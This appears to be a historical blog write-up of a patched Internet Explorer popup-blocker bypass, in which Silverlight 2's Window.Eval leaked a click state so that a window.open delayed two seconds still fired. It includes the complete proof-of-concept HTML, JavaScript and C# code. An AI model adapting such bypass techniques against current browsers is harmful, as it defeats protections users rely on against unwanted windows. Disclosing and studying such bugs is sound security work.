This one surprised me. IE’s popup blocker is supposed to block window.open() calls that don’t originate from a direct user gesture. The expectation is that a setTimeout delay breaks that link. What I found was that Silverlight’s HtmlPage.Window.Eval method told IE that a click event was in progress even after a two-second delay — so the popup blocker never fired.

// writeControl.js: writes the Silverlight control into the page
document.write('<object data="data:application/x-silverlight," type="application/x-silverlight-2-b1" width="150" height="50"><param name="source" value="timedPopup.xap"/><param name="enableHtmlAccess" value="true" /><param name="background" value="white" /></object>');
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>PopUp_Silverlight_delayedOpen</title>
</head>
<body>
<h1>PopUp_Silverlight_delayedOpen</h1>

<textarea id="textAreaCode" style="width:560px;height:60px;">setTimeout('window.open("http://www.yahoo.com","_blank")', 2000);</textarea><br />
<script language="JavaScript" src="writeControl.js"></script>
&nbsp;&nbsp;
<input type="button" style="width:150px;height:50px;margin-top:-20px;" value="JavaScript Eval" onclick="eval(textAreaCode.value)">

<br /><small>Tested on Silverlight v.2.0.<b>30220</b>.0</small>
<br /><br />

<hr />
<div>
	<br />
	<span>Effect:</span> popUp blocker bypass. Just press the "Silverlight Eval" button to execute (HtmlPage.Window.Eval) the code inside the textArea. In theory,
	the popUp window should not open because 2 seconds had elapsed between the click and the call to the open method.<br />
	In order to see what should happen, press the "JavaScript Eval" button which does an eval, but the popUp will not open.<br /><br />
	<span style="color:red;">Important:</span> the good thing is that if we <u>do not press a button, the popUp will be blocked</u>. So Silverlight is
	telling IE correctly that a Click event happened, but it's forgetting to reset it after.
	<br /><br />
	<hr /><br />
	<span>Managed Code:</span> - It executes when we press the Silverlight Eval button.
	<br /><br />
	<code>
		HtmlElement oTextarea = HtmlPage.Document.GetElementById("textAreaCode");<br />
		string strTextareaValue = (string)oTextarea.GetProperty("value");<br />
		HtmlPage.Window.Eval(strTextareaValue);<br />
	</code>
	<br /><br />
	<span>JavaScript Code:</span> - It executes when we press the JavaScript Eval button.
	<br /><br />
	<code>
		eval(textAreaCode.value);<br />
	</code>
</div>
</body>
</html>

The Silverlight managed code calls HtmlPage.Window.Eval(code) when the user clicks the Silverlight button. That Eval executes a setTimeout(..., 2000), so two seconds later window.open fires — well outside any gesture window. Yet IE treated it as a trusted popup because Silverlight had signalled a click event and never cleared that flag. Clicking outside the Silverlight control before the two seconds elapsed would correctly block the popup, confirming the click-state was being leaked from the Silverlight host into IE’s gesture tracking. Tested on Silverlight 2.0.30220.0.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.